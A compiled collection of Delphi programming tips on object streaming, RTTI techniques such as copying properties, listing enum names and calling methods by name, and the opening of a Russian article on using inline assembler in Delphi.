  DEFAULT_FILENAME = 'test.dat';

procedure TForm1.SaveButtonClick(Sender: TObject);
var
  List: TStreamableList;
  Stream: TStream;
begin
  List := TStreamableList.Create;
  try
    List.Add(TPerson.Create('Rick Rogers', StrToDate('05/20/68')));
    List.Add(TCompany.Create('Fenestra', 1000000, 7));
    Stream := TFileStream.Create(Path + DEFAULT_FILENAME, fmCreate);
    try
      List.SaveToStream(Stream);
    finally
      Stream.Free;
    end;
  finally
    List.Free;
  end;
end;

{ TPerson }

constructor TPerson.Create(const AName: string; ABirthDate: TDateTime);
begin
  inherited Create;
  FName := AName;
  FBirthDate := ABirthDate;
end;

procedure TPerson.LoadFromStream(Stream: TStream);
begin
  FName := ReadString(Stream);
  FBirthDate := ReadDateTime(Stream);
end;

procedure TPerson.SaveToStream(Stream: TStream);
begin
  WriteString(Stream, FName);
  WriteDateTime(Stream, FBirthDate);
end;

{ TStreamableList }

procedure TStreamableList.Add(Item: TStreamableObject);
begin
  FItems.Add(Item);
end;

procedure TStreamableList.Clear;
begin
  FItems.Clear;
end;

constructor TStreamableList.Create;
begin
  FItems := TObjectList.Create;
end;

procedure TStreamableList.Delete(Index: LongInt);
begin
  FItems.Delete(Index);
end;

destructor TStreamableList.Destroy;
begin
  FItems.Free;
  inherited;
end;

function TStreamableList.FindClass(const AClassName: String): TStreamableObjectClass;
begin
  Result :=  TStreamableObjectClass(Classes.FindClass(AClassName));
end;

function TStreamableList.Get_Count: LongInt;
begin
  Result := FItems.Count;
end;

function TStreamableList.Get_Objects(Index: LongInt): TStreamableObject;
begin
  Result := FItems[Index] as TStreamableObject;
end;

procedure TStreamableList.LoadFromStream(Stream: TStream);
var
  StreamCount: LongInt;
  I: Integer;
  S: String;
  ClassRef: TStreamableObjectClass;
begin
  StreamCount := ReadLongInt(Stream);
  for I := 0 to StreamCount - 1 do
  begin
    S := ReadClassName(Stream);
    ClassRef := FindClass(S);
    Add(ClassRef.CreateFromStream(Stream));
  end;
end;

procedure TStreamableList.SaveToStream(Stream: TStream);
var
  I: Integer;
begin
  WriteLongInt(Stream, Count);
  for I := 0 to Count - 1 do
  begin
    WriteClassName(Stream, Objects[I].ClassName);
    Objects[I].SaveToStream(Stream);
  end;
end;

{ TStreamableObject }

constructor TStreamableObject.CreateFromStream(Stream: TStream);
begin
  inherited Create;
  LoadFromStream(Stream);
end;

function TStreamableObject.ReadClassName(Stream: TStream): ShortString;
begin
  Result := ReadString(Stream);
end;

function TStreamableObject.ReadCurrency(Stream: TStream): Currency;
begin
  Stream.Read(Result, SizeOf(Currency));
end;

function TStreamableObject.ReadDateTime(Stream: TStream): TDateTime;
begin
  Stream.Read(Result, SizeOf(TDateTime));
end;

function TStreamableObject.ReadLongInt(Stream: TStream): LongInt;
begin
  Stream.Read(Result, SizeOf(LongInt));
end;

function TStreamableObject.ReadString(Stream: TStream): String;
var
  L: LongInt;
begin
  L := ReadLongInt(Stream);
  SetLength(Result, L);
  Stream.Read(Result[1], L);
end;

procedure TStreamableObject.WriteClassName(Stream: TStream; const Value: ShortString);
begin
  WriteString(Stream, Value);
end;

procedure TStreamableObject.WriteCurrency(Stream: TStream; const Value: Currency);
begin
  Stream.Write(Value, SizeOf(Currency));
end;

procedure TStreamableObject.WriteDateTime(Stream: TStream; const Value: TDateTime);
begin
  Stream.Write(Value, SizeOf(TDateTime));
end;

procedure TStreamableObject.WriteLongInt(Stream: TStream; const Value: LongInt);
begin
  Stream.Write(Value, SizeOf(LongInt));
end;

procedure TStreamableObject.WriteString(Stream: TStream; const Value: String);
var
  L: LongInt;
begin
  L := Length(Value);
  WriteLongInt(Stream, L);
  Stream.Write(Value[1], L);
end;

{ TCompany }

constructor TCompany.Create(const AName: string; ARevenues: Currency;
AEmployeeCount: Integer);
begin
  FName := AName;
  FRevenues := ARevenues;
  FEmployeeCount := AEmployeeCount;
end;

procedure TCompany.LoadFromStream(Stream: TStream);
begin
  FName := ReadString(Stream);
  FRevenues := ReadCurrency(Stream);
  FEmployeeCount := ReadLongInt(Stream);
end;

procedure TCompany.SaveToStream(Stream: TStream);
begin
  WriteString(Stream, FName);
  WriteCurrency(Stream, FRevenues);
  WriteLongInt(Stream, FEmployeeCount);
end;

procedure TForm1.LoadButtonClick(Sender: TObject);
var
  List: TStreamableList;
  Stream: TStream;
  Instance: TStreamableObject;
  I: Integer;
begin
  Stream := TFileStream.Create(Path + DEFAULT_FILENAME, fmOpenRead);
  try
    List := TStreamableList.Create;
    try
      List.LoadFromStream(Stream);
      for I := 0 to List.Count - 1 do
      begin
        Instance := List[I];
        if Instance is TPerson then
          ShowMessage(TPerson(Instance).Name);
        if Instance is TCompany then
          ShowMessage(TCompany(Instance).Name);
      end;
    finally
      List.Free;
    end;
  finally
    Stream.Free;
  end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  Path := ExtractFilePath(Application.ExeName);
end;

initialization
  RegisterClasses([TPerson, TCompany]);

end.

Tip by Rick Rogers

Answer 2:
The solution above will work, but it forces you to implement streaming support for each of the TStreamableObject objects. Delphi has already implemented this mechanism in for the TPersistent class and the TComponent class, and you can use this mechanism. The class I include here does the job. It holds classes that inherit from TUmbCollectionItem (which in turn inherits from Delphi TCollectionItem), and handles all the streaming of the items. As the items are written with the Delphi mechanism, all published data is streamed.
Notes: This class does not support working within the delphi IDE like TCollection. All objects inheriting from TUmbCollectionItem must be registered using the Classes.RegisterClass function. All objects inheriting from TUmbCollectionItem must implement the assign function. By default, the TUmbCollection owns its items (frees them when the collection is freed), but this functionality can be changed.
unit UmbCollection;

interface

uses
  Windows, Messages, SysUtils, Classes, contnrs;

type
  TUmbCollectionItemClass = Class of TUmbCollectionItem;
  TUmbCollectionItem = class(TCollectionItem)
  private
    FPosition: Integer;
  public
    {when overriding this method, you must call the inherited assign.}
    procedure Assign(Source: TPersistent); Override;
  published
    {the position property is used by the streaming mechanism to place the object in the
    right position when reading the items. do not use this property.}
    property Position: Integer read FPosition write FPosition;
  end;

  TUmbCollection = class(TObjectList)
  private
    procedure SetItems(Index: Integer; Value: TUmbCollectionItem);
    function GetItems(Index: Integer): TUmbCollectionItem;
  public
    function Add(AObject: TUmbCollectionItem): Integer;
    function Remove(AObject: TUmbCollectionItem): Integer;
    function IndexOf(AObject: TUmbCollectionItem): Integer;
    function FindInstanceOf(AClass: TUmbCollectionItemClass; AExact: Boolean = True;
                                                  AStartAt: Integer = 0): Integer;
    procedure Insert(Index: Integer; AObject: TUmbCollectionItem);

    procedure WriteToStream(AStream: TStream); virtual;
    procedure ReadFromStream(AStream: TStream); virtual;

    property Items[Index: Integer]: TUmbCollectionItem read GetItems write SetItems; default;
  published
    property OwnsObjects;
  end;

implementation

{ TUmbCollection }

function ItemsCompare(Item1, Item2: Pointer): Integer;
begin
  Result := TUmbCollectionItem(Item1).Position - TUmbCollectionItem(Item2).Position;
end;

function TUmbCollection.Add(AObject: TUmbCollectionItem): Integer;
begin
  Result := inherited Add(AObject);
end;

function TUmbCollection.FindInstanceOf(AClass: TUmbCollectionItemClass;
AExact: Boolean; AStartAt: Integer): Integer;
begin
  Result := inherited FindInstanceOf(AClass, AExact, AStartAt);
end;

function TUmbCollection.GetItems(Index: Integer): TUmbCollectionItem;
begin
  Result := inherited Items[Index] as TUmbCollectionItem;
end;

function TUmbCollection.IndexOf(AObject: TUmbCollectionItem): Integer;
begin
  Result := inherited IndexOf(AObject);
end;

procedure TUmbCollection.Insert(Index: Integer; AObject: TUmbCollectionItem);
begin
  inherited Insert(Index, AObject);
end;

procedure TUmbCollection.ReadFromStream(AStream: TStream);
var
  Reader: TReader;
  Collection: TCollection;
  ItemClassName: string;
  ItemClass: TUmbCollectionItemClass;
  Item: TUmbCollectionItem;
  i: Integer;
begin
  Clear;
  Reader := TReader.Create(AStream, 1024);
  try
    Reader.ReadListBegin;
    while not Reader.EndOfList do
    begin
      ItemClassName := Reader.ReadString;
      ItemClass := TUmbCollectionItemClass(FindClass(ItemClassName));
      Collection := TCollection.Create(ItemClass);
      try
        Reader.ReadValue;
        Reader.ReadCollection(Collection);
        for i := 0 to Collection.Count - 1 do
        begin
          item := ItemClass.Create(nil);
          item.Assign(Collection.Items[i]);
          Add(Item);
        end;
      finally
        Collection.Free;
      end;
    end;
    Sort(ItemsCompare);
    Reader.ReadListEnd;
  finally
    Reader.Free;
  end;
end;

function TUmbCollection.Remove(AObject: TUmbCollectionItem): Integer;
begin
  Result := inherited Remove(AObject);
end;

procedure TUmbCollection.SetItems(Index: Integer; Value: TUmbCollectionItem);
begin
  inherited Items[Index] := Value;
end;

procedure TUmbCollection.WriteToStream(AStream: TStream);
var
  Writer: TWriter;
  CollectionList: TObjectList;
  Collection: TCollection;
  ItemClass: TUmbCollectionItemClass;
  ObjectWritten: array of Boolean;
  i, j: Integer;
begin
  Writer := TWriter.Create(AStream, 1024);
  CollectionList := TObjectList.Create(True);
  try
    Writer.WriteListBegin;
    {init the flag array and the position property of the TCollectionItem objects.}
    SetLength(ObjectWritten, Count);
    for i := 0 to Count - 1 do
    begin
      ObjectWritten[i] := False;
      Items[i].Position := i;
    end;
    {write the TCollectionItem objects. we write first the name of the objects class,
    then write all the object of the same class.}
    for i := 0 to Count - 1 do
    begin
      if ObjectWritten[i] then
        Continue;
      ItemClass := TUmbCollectionItemClass(Items[i].ClassType);
      Collection := TCollection.Create(ItemClass);
      CollectionList.Add(Collection);
      {write the items class name}
      Writer.WriteString(Items[i].ClassName);
      {insert the items to the collection}
      for j := i to Count - 1 do
        if ItemClass = Items[j].ClassType then
        begin
          ObjectWritten[j] := True;
          (Collection.Add as ItemClass).Assign(Items[j]);
        end;
      {write the collection}
      Writer.WriteCollection(Collection);
    end;
  finally
    CollectionList.Free;
    Writer.WriteListEnd;
    Writer.Free;
  end;
end;

{ TUmbCollectionItem }

procedure TUmbCollectionItem.Assign(Source: TPersistent);
begin
  if Source is TUmbCollectionItem then
    Position := (Source as TUmbCollectionItem).Position
  else
    inherited;
end;

end.

Tip by Yoav (Yoav@tsoft-tele.com)
Взято из http://www.lmc-mediaagentur.de/dpool


Как определить, является ли метод потомком TNotifyEvent?

If I am given a TPersistent object, and a method name, is there a way to determine if the name is an event of TNotifyEvent type? For example, given a TPersistent lMyObj and an event name, "OnDataChanged", how can I determine if OnDataChanged is a TNotifyEvent?

function IsNotifyEvent(Sender: TObject; const Event: string): Boolean;
var
  PropInfo: PPropInfo;
  Method: TNotifyEvent;
begin
  Result := False;
  PropInfo := GetPropInfo(Sender.ClassInfo, Event);
  if not Assigned(PropInfo) then
    Exit;
  if PropInfo.PropType^.Kind <> tkMethod then
    Exit;
  Method := TNotifyEvent(GetMethodProp(Sender, PropInfo));
  Result := Assigned(Method);
end;

Tip by Jack Sudarev
Взято из http://www.lmc-mediaagentur.de/dpool


Как определить, насдледовано ли свойство от определённого класса?

function GetFontProp(anObj: TObject): TFont;
var
  PInfo: PPropInfo;
begin
  {Try to get a pointer to the property information for a property with the name 'Font'.
  TObject.ClassInfo returns a pointer to the RTTI table, which we need to pass to GetPropInfo}
  PInfo := GetPropInfo(anObj.ClassInfo, 'font');
  Result := nil;
  if PInfo <> nil then
    {found a property with this name, check if it has the correct type}
    if (PInfo^.Proptype^.Kind = tkClass) and
      GetTypeData(PInfo^.Proptype^)^.ClassType.InheritsFrom(TFont)
      then
      Result := TFont(GetOrdProp(anObj, PInfo));
end;

Tip by Peter Below
Взято из http://www.lmc-mediaagentur.de/dpool


Как прочитать свойство напрямую из его ресурса?

Does anyone know if there is an easy way to load the value of a component's property directly from its resource without creating the component? Something like:

if ReadPropertyValue('Form1.Button1', 'width') > 1000 then
  ShowMessage('You are about to create a big button!');

function TForm1.ReadProp(r: TReader): string;
begin
  result := '';
  {Determine the value type of the property, read it with the appropriate method of TReader
  and convert it to string. Not all value types are implemented here but you get the idea.}
  case r.NextValue of
    vaInt8, vaInt16, vaInt32:
      result := IntToStr(r.ReadInteger);
    vaExtended:
      result := FloatToStr(r.ReadFloat);
    vaString:
      result := r.ReadString;
    else
      r.SkipValue;  {Not implemented}
  end;
end;

procedure TForm1.ReadRes(PropPath: string; r: TReader);
var
  p: string;
begin
  {Skip the class name}
  r.ReadStr;
  {Construct the property path}
  if PropPath = '' then
    p := r.ReadStr
  else
    p := PropPath + '.' + r.ReadStr;
  {Read all properties and its values and fill them into the memo}
  while not r.EndOfList do
    Memo1.Lines.Add(p + '.' + r.ReadStr + ' = ' + ReadProp(r));
  {Skip over the end of the list of the properties of this component}
  r.CheckValue(vaNull);
  {Recursively read the properties of all sub-components}
  while not r.EndOfList do
  begin
    ReadRes(p, r);
    r.CheckValue(vaNull);
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
  strm: TResourceStream;
  Reader: TReader;
begin
  strm := TResourceStream.Create(HInstance, 'TForm1', RT_RCDATA);
  Reader := TReader.Create(strm, 1024);
  try
    Memo1.Clear;
    Reader.ReadSignature;
    ReadRes('', Reader);
  finally
    Reader.Free;
    strm.Free;
  end;
end;

Only one small problem.
r.SkipValue was protected (in D5) but I hacked that out with the following code:

type THackReader = class(TReader);
{ ... }
  THackReader(r).SkipValue;

And now it works like a charm.

Tip by Michael Duerig and Tjipke A. van der Plaats
Взято из http://www.lmc-mediaagentur.de/dpool


Как присвоить все значения полей одного класса, другому такому же классу?

How can I assign all property values (or if it's not possible only published property values, or some of them) of one class (TComponent) to another instance of the same class? What I want to do is:

MyComponent1.{property1} := MyComponent2.{property1};
{...}
MyComponent2.{propertyN} := MyComponent2.{propertyN};

Is there a better and shorter way to do this? I tried this: MyComponent1 := MyComponent2; But it doesn't work. Why not? Can I point to the second component ?

Answer 1:

MyComponent2 and MyComponent1 are pointers to your components, and this kind of assigment leads to MyComponent1 pointing to MyComponent2. But it will not copy its property values.

A better way is to override the assign method of your control, do all property assignment there and call it when you need to copy component attributes. Here's example:

procedure TMyComponent.Assign(Source: TPersistent);
begin
  if Source is TMyComponent then
  begin
    property1 := TMyComponent(Source).property1;
    { ... }
  end
  else
    inherited Assign(Source);
end;

To assign properties you'll need to set this line in the code:

MyComponent1.Assign(MyComponent2);

Tip by Serge Gubenko

procedure EqualClassProperties(AClass1, AClass2: TObject);
var
  PropList: PPropList;
  ClassTypeInfo: PTypeInfo;
  ClassTypeData: PTypeData;
  i: integer;
  NumProps: Integer;
  APersistent : TPersistent;
begin
  if AClass1.ClassInfo <> AClass2.ClassInfo then
    exit;
  ClassTypeInfo := AClass1.ClassInfo;
  ClassTypeData := GetTypeData(ClassTypeInfo);
  if ClassTypeData.PropCount <> 0 then
  begin
    GetMem(PropList, SizeOf(PPropInfo) * ClassTypeData.PropCount);
    try
      GetPropInfos(AClass1.ClassInfo, PropList);
      for i := 0 to ClassTypeData.PropCount - 1 do
        if not (PropList[i]^.PropType^.Kind = tkMethod) then
          {if Class1,2 is TControl/TWinControl on same form, its names must be unique}
          if PropList[i]^.Name <> 'Name' then
            if (PropList[i]^.PropType^.Kind = tkClass) then
            begin
              APersistent := TPersistent(GetObjectProp(AClass1, PropList[i]^.Name, TPersistent));
            if APersistent <> nil then
              APersistent.Assign(TPersistent(GetObjectProp(AClass2, PropList[i]^.Name, TPersistent)))
            end
            else
              SetPropValue(AClass1, PropList[i]^.Name, GetPropValue(AClass2, PropList[i]^.Name));
    finally
      FreeMem(PropList, SizeOf(PPropInfo) * ClassTypeData.PropCount);
    end;
  end;
end;

Note that this code skips object properties inherited other than TPersistent.

Tip by Gokhan Ersumer
Взято из http://www.lmc-mediaagentur.de/dpool


Как сделать текстовый список всех доступных свойств перечисляемого типа?

I need to get a list of strings (like a StringList) with the possible values for a TBrushStyle property (bsSolid, bsClear, bsHorizontal, for example). I want to build a ComboBox with this options. How can I set the property Items of my ComboBox directly with all the values from the enumerated type TBrushStyle? My ComboBox will be alike the Property Editor for this type.

You can use runtime type information (RTTI) to do that. Below is an example:

uses
  {...}, TypInfo

procedure BrushStylesAsStrings(AList: TStrings);
var
  a: integer;
  pInfo: PTypeInfo;
  pEnum: PTypeData;
begin
  AList.Clear;
  pInfo := PTypeInfo(TypeInfo(TBrushStyle));
  pEnum := GetTypeData(pInfo);
  with pEnum^ do
  begin
    for a := MinValue to MaxValue do
      AList.Add(GetEnumName(pInfo, a));
  end;
end;

Tip by Sen
Взято из http://www.lmc-mediaagentur.de/dpool


Как изменить цвет всех компонентов на форме в Run-time?

I would like to change the font color on all components on a form at runtime (and the components owned by the components etc). I devised a recursive algorithm using RTTI that accepts a TComponent as a parameter. It works to some extent, but I still have to use 'if' statements to cast the object to a particular descendant, resulting in about 30 lines of code to test for all of the components I use. Also, some objects (TColumnTitle), are not descended from TComponent, even though they have a font property.

This may do the trick (with D6 and maybe D5):
uses
  TypInfo;

{ ... }
var
  i: integer;
  aFont: TFont;
begin
  for i := 0 to aComponent.ComponentCount - 1 do
  begin
    aFont := TFont(GetOrdProp(aComponent.Components[i], 'Font'));
    if assigned(aFont) then
      aFont.Color := clWhite;
  end;
end;

With D4:

{ ... }
var
  i: integer;
  aFont: TFont;
  pi: PPropInfo;
begin
  for i := 0 to aComponent.ComponentCount - 1 do
  begin
    pi := GetPropInfo(aComponent.Components[i].ClassInfo, 'Font');
    if assigned(pi) then
      TFont(GetOrdProp(aComponent.Components[i],pi)).Color := clWhite;
  end;
end;

Tip by Charles McNicoll
Взято из http://www.lmc-mediaagentur.de/dpool


Как выполнить метод по его имени?

{ ... }
type
  PYourMethod = ^TYourMethod;
  TYourMethod = procedure(S: string) of Object;

procedure TMainForm.Button1Click(Sender: TObject);
begin
  ExecMethodByName('SomeMethod');
end;

procedure TMainForm.ExecMethodByName(AName: string);
var
  PAddr: PYourMethod;
  M: TMethod;
begin
  PAddr := MethodAddress(AName);
  if PAddr <> nil then
  begin
    M.Code := PAddr;
    M.Data := Self;
    TYourMethod(M)('hello');
  end;
end;

procedure TMainForm.SomeMethod(S: string);
begin
  ShowMessage(S);
end;

Tip by Sasan Adami
Взято из http://www.lmc-mediaagentur.de/dpool


Как получить строковое значение перечисляемого типа?

procedure GetEnumNameList(Pti: PTypeInfo; AList:
                               TStrings; X: Integer);
{(**********************************************************
 Will return in AList string version of an
enumerated type less the first X characters .
 eg X = 4
 and
          type
            eXORBuySell = (
              XOR_BUY,
              XOR_SELL
            );

 GetEnumNameList(TypeInfo(eXORBuySell), ComboBox1.Items, 4);

 Now  ComboBox1.Items[0] = 'BUY'
 and  ComboBox1.Items[1] = 'SELL'
************************************************************)}
var
  I: Integer;
begin
  AList.Clear;
  with GetTypeData(pti)^ do
  for I := MinValue to MaxValue do
    AList.Add(Copy(GetEnumName(pti, I), X + 1, 255));
end;

Взято с сайта http://www.torry.net


Как узнать имя файла моей программы?

Application.ExeName
ParamStr(0)
GetModuleFileName()

Автор ответа: rhf
Взято с Vingrad.ru http://forum.vingrad.ru


Имя класса компонента и модуля

Мне необходима функция, которая возвращала бы имя класса компонента и имя модуля, где определен данный класс.

Например: xxx('TPanel') возвращала бы 'ExtCtrls'

Также мне необходима функция, возвращающая список имен страниц палитры компонентов.

Uses TypInfo;

Function ObjectsUnit (Obj: TClass): String;
Begin
  Result := GetTypeData (PTypeInfo(Obj.ClassInfo))^.UnitName
end;

Для создания описанной вами функции "Какой модуль" могут использоваться описанные в TOOLINTF.INT методы GetModuleCount, GetModuleName, GetComponentCount и GetComponentName.

Для получения представления о формате палитры компонентов обратитесь к файлу DELPHI.INI.

Взято с http://delphiworld.narod.ru


Как динамически прочитать информацию о классе

procedure TForm1.FormCreate(Sender: TObject);
begin
  {This only works for classes registered using RegisterClass}
  RegisterClasses([TButton, TForm]);
end;

procedure TForm1.Button1Click(Sender: TObject);
var
  CRef: TPersistentClass;
  PTI: PTypeInfo;
  AControl: TControl;
begin
  CRef := GetClass('TButton');
  if CRef <> nil then
  begin
    AControl := TControl(TControlClass(CRef).Create(Self));
    with AControl do
    begin
      Parent := Self;
      Width := 50;
      Height := 30;
    end;
    Inc(Id);
  end
  else
    MessageDlg('No such class', mtWarning, [mbOk], 0);
end;
Взято из http://www.lmc-mediaagentur.de/dpool


Взаимодействие с другими языками

Cодержание раздела:

Изучаем ассемблер в Delphi
Использование ассемблера в Дельфи (статья) New!
Вызов c-шной функции с переменным числом параметров
Вызов Delphi DLL из MS Visual C++
Аналог функции С memcmp
Соответствие типов С++ и Delphi
Using Visual Basic arrays in Delphi
Does Delphi have an equivalent to the Visual Basic SendKeys function?
Does Delphi have an equivalent for the VB function DoEvents?
Основное отличие EXE-файлов созданных Delphi и Visual Basic
Использование Microsoft ScriptControl (статья) New!

См. также статьи в других разделах:
Как разделить строку на элементы, Аналог VB функции Split
Использование PHP-like операций с массивами New!


Изучаем ассемблер в Delphi

Автор: Ian Hodger

Основное предназначение этой статьи, заполнить пробелы в оригинальной документации по Borland Delphi Developer, при этом весь программный код, а так же теория, полность совместимы со всеми версиями Delphi.

Основное направление статьи, это познакомиться с использованием ассемблера в Object Pascal. Однако, не будем пропускать и те аспекты программирования, которые будут требовать пояснения для конкретных примеров, приведённых в этой статье.

Использование Ассемблера в Борландовком Delphi
Перед тем, как начать, хотелось бы определиться с уровнем знаний, необходимых для нормального усвоения данного материала. Необходимо быть знакомым со встроенными средствами отладки в Delphi. Так же необходимо иметь представление о таких терминах как тип реализации (instantiation), null pointer и распределение памяти. Если в чём-то из вышеупомянутого Вы сомневаетесь, то постарайтесь быть очень внимательны и осторожны при воплощении данного материала на практике. Кроме того, будет обсуждаться только 32-битный код, так что понадобится компилятор не ниже Delphi 2.0.

Зачем использовать Ассемблер?
На мой взгляд, Object Pascal, это инструмент, позволяющий генерировать быстрый и эффективный код, однако использование ассемблера в некоторых случаях позволяет решать некоторые задачи более эффективно. За всю работу с Delphi, я пришёл к выводу, что использование низкоуровневого кода необходимо в двух случая.

(1) Обработка большого количества данных. Nb. В данный случай не входит ситуация, когда используется язык запроса данных.

(2) В высокоскоростных подпрограммах работы с дисплеем. Nb. Имеется ввиду использование простых процедур на чистом паскале, но никак не внешних библиотек и DirectX.

В конце статьи мы рассмотрим примеры, которые явно отражают значимость этих критериев, а так же не только когда и где использовать ассемблерные вставки, но и как включать такой код в Delphi.

Что такое Ассемблер?
Надеюсь, что Все читатели этой статьи имеют как минимум поверхностное представление о работе процессора. Грубо говоря, это калькулятор с большим объёмом памяти. Память, это не более чем упорядоченная последовательнось двоичных цифр. Каждая такая цифра является байтом. Каждый байт может содержать в себе значение от 0 до 255, а так же имеет свой уникальный адрес, при помощи которого процессор находит нужные значения в памяти. Процессор так же имеет набор регистров (это можно расценить как глобальные переменные). Например eax,ebx,ecx и edx, это универсальные 32-битные регистры. Это значит, что самое большое число, которое мы можем записать в регистр eax, это 2 в степени 32 минус 1, или 4294967295.

Как мы уже выяснили, процессор манипулирует значениями регистров. Машинный код операции прибавления 10 к значению регистра eax будет выглядеть следующим образом
05/0a/00/00/00
Однако, такая запись абсолютно не читабельна и, как следствие, не пригодна при отладке программы. Так вот Ассемблер, это простое представление машинных команд в более удобном виде. Теперь давайте посмотрим, как будет выглядеть прибавление 10 к eax в ассемблерном представлении:
add eax,10 {a := a + 10}
А вот так выглядит вычитаение значения ebx из eax
sub eax,ebx {a := a - b }
Чтобы сохранить значние, можно просто поместить его в другой регистр
mov eax,ecx {a := c }
или даже лучше, сохранить значение по определённому адресу в памяти
mov [1536],eax {сохраняет значение eax по адресу 1536}
и конечно же взять его от туда
mov eax,[1536]

Однако, тут есть важный момент, про который забывать не желательно. Так как регистр 32-битный(4 байта), то его значение будет записано сразу в четыре ячейки памяти 1536, 1537, 1538 и 1539.

А теперь давайте посмотрим, как компилятор преобразует действия с переменными в машинный код. Допустим у нас есть строка
Count := 0;
Для компилятора это означает, что надо просто запомнить значение. Следовательно, компилятор генерирует код, который сохраняет значение в памяти по определённому адресу и следит, чтобы не произошло никаких накладок, и обзывает этот адрес как 'Count'. Вот как выглядит такой код

mov eax,0
mov Count,eax

Компилятор не может использовать строку типа

mov Count,0
из-за того, что как минимум один параметр инструкции должен являться регистром.
(см. примечание в конце *)

Если посмотреть на строку
Count := Count + 1;
то её ассемблерное представление будет выглядеть как
mov eax,Count
add eax,1
mov Count,eax
(см. примечание в конце **)
Для переменных, тип которых отличается от целого, всё усложняется. Однако, рассмотрим эту тему немного позже, а сейчас предлагаю закрепить теорию практическими примерами.

Итак, рассмотрим первый пример. Сразу извинюсь за тривиальность, но с чего-то надо начинать.

function Sum(X,Y:integer):integer;
begin
 Result := X+Y;
end;

А вот так будет выглядеть оперция сложения двух целых чисел на ассемблере:

function Sum(X,Y:integer):integer;
begin
 asm
  mov eax,X
  add eax,Y
  mov Result,eax
 end;
end;

Этот код прекрасно работает, однако он не даёт нам преимущества в скорости, а так же потерялось восприятие кода. Но не стоит огорчаться, так как те немногие знания, которые Вы почерпнули из этого материала, можно использовать с большей пользой. Допустим, нам необходимо преобразовать явные значения Red,Green, и Blue в цвета типа TColor, подходящие для использования в Delphi. Тип TColor описан как 24-битный True Colour хранящийся в формате целого числа, то есть четыре байта, старший из которых равен нулю, а далее по порядку красный, зелёный, синий.

function GetColour(Red,Green,Blue:integer):TColor;
begin
 asm
{ecx будет содержать значение TColor}
  mov ecx,0
{начинаем с красной компоненты}
  mov eax,Red
{необходимо убедиться, что красный находится в диапазоне 0<=Red<=255}
  and eax,255
{сдвигаем значение красного в правильное положение}
  shl eax,16
{выравниваем значение TColor}
  xor ecx,eax
{проделываем тоже самое с зелёным}
  mov eax,Green
  and eax,255
  shl eax,8
  xor ecx,eax
{и тоже самое с синим}
  mov eax,Blue
  and eax,255
  xor ecx,eax
  mov Result, ecx
 end;
end;

Заметьте, что я использовал несколько бинарных операций. Эти операции также определены непосредственно в Object Pascal.

Взято из http://forum.sources.ru

Примечание * от Jin X
Чушь! Во-первых, параметры обязаны быть регистрами только в очень редких случаях (например, при чтении/записи из/в порт: out 20h,al), а во-вторых, компилятор Delphi7 генерирует именно mov Count,12345678h при использовании Count := $12345678. Но! Когда мы делаем Count := 0, то генерируется пара xor eax,eax + mov Count,eax , причём лишь в целях экономии памяти (такая запись короче в машинном представлении).

Примечание ** от Jin X
это тоже не есть правда, компилятор делает гораздо проще: inc Count


Использование ассемблера в Дельфи (статья)

© Guido Gybels, January-February 2001, All rights reserved.
© Anatoly Podgoretskys, 2002, Authorized Russian Translation.

Ввведение
Об основах ассемблерных процедур
Замечания о синтаксисе
Примеры


Ввведение

© Guido Gybels, January-February 2001, All rights reserved.
© Anatoly Podgoretskys, 2002, Authorized Russian Translation.

Рецензия
Как это не парадоксально, но человек, который поддерживает один из крупнейших Интернет архивов готовых компонент, пишет рецензию на удивительную книгу, призывающую использовать Ассемблер…
В 1989-1993 году я много программировал на Turbo Assembler в сочетании с Turbo Pascal и Turbo Pascal for Windows и очень полюбил этот язык, позволяющий в минимальном размере компилированного кода размещать модули, которые позволяли делать многое, и самое главное, гораздо быстрее, чем стандартные решения, предлагаемые стандартными библиотеками. Классическое замечание, к которому могут присоединиться тысячи программистов (IMHO), начинавших программировать для IBM PC в те годы: мы все учились на кодах замечательной библиотеки Turbo Professional (позже – Object Professional) компании Turbo Power Software, в которой значительную часть составлял именно Ассемблер. Благодаря этой книге в наше время, когда исходные коды Turbo Professional в силу лет куда-то затерялись, теперь Вы можете приобщиться к его необычайному очарованию и использовать всю его мощь в Ваших проектах.
А зачем это нужно? Во многих случаях использование встроенного Ассемблера (BASM) даст Вам значительный выигрыш по скорости, особенно при работе со строковыми функциями, сравнении, работе с нестандартными устройствами ввода-вывода и во многом другом. Конечно, современные компьютеры и операционные системы позволяют не сильно заботиться о скорости работы программы, но при обработке большого объема данных, построении отчетов, нестандартной обработке данных и работе в реальном времени скорость обработки потоков информации, а, следовательно, принятия решений становится очень важным фактором.
Данная книга не является очередным пересказом "Руководства пользователя…", и не только раскрывает как использовать BASM, но и лишний раз заставит Вас обратить внимание на правильность и корректность Вашего кода. А это – немаловажно, поверьте…
На мой взгляд, имя Гуйдо Гайбелса незаслуженно не очень известно широкой публике. Видимо, сказывается тенденция использования «всего готового», чему я сам способствую. Но, искусство программирование – это не только имя, известное широкой публике Дельфийского сообщества, но и тихо сказанное в ночи: «А как круто он это сделал!». А вот таких фраз Гуйдо наверняка «услышал» и «услышит» немало…
Анатолий Подгорецкий в очередной раз порадовал нас не только качественным переводом (а он и не мог быть иным, благо Анатолий очень хорошо знаком с темой книги), но и актуальной темой. Я не знаю, может, это ностальгия, но «в наше время и деревья были выше, и небо - синее», и девушки моложе», но эта книга – именно то, что позволяет надеяться, что программирование не сводится к простому расположению компонентов на форме, за что очень любят критиковать Дельфистов приверженцы Си.

Максим Пересада (mperesada@torry.net)
Torry's Delphi Pages
http://www.torry.net

От переводчика

Данная книга составлена на основе статей Гуйдо Гайбелса (Guido Gybels), опубликованных на сайте http://www.optimalcode.com/Guido/
Развитие книги продолжается, появляются новые главы, и по мере их появления они будут включаться в эту книгу.
Я благодарю Гуйдо Гайбелса за разрешение на перевод книги на русский язык и за право на публикацию ее в Интернете на основе исключительно бесплатного использования, без каких либо видов получения прибыли или оплаты по ее использованию. Все права на данную книгу принадлежат автору. Право на публикацию данного перевода в Интернете на любом сайте, за исключением моего сайта и http://www.torry.net должно быть получено напрямую от Гуйдо Гайбелса.
Все названия программных продуктов являются зарегистрированными торговыми марками соответствующих фирм.
Также благодарю Максима Пересаду за оказанную помощь и всю команду Торри за размещение данной книги и других книг на их замечательном сайте http://www.torry.net
Также благодарю Александр Челмодеева за помощь по корректировке книги и исправлению стилистики, без которой в ней бы было много ошибок, квалификация Александра просто великолепна.

Анатолий Подгорецкий

Введение

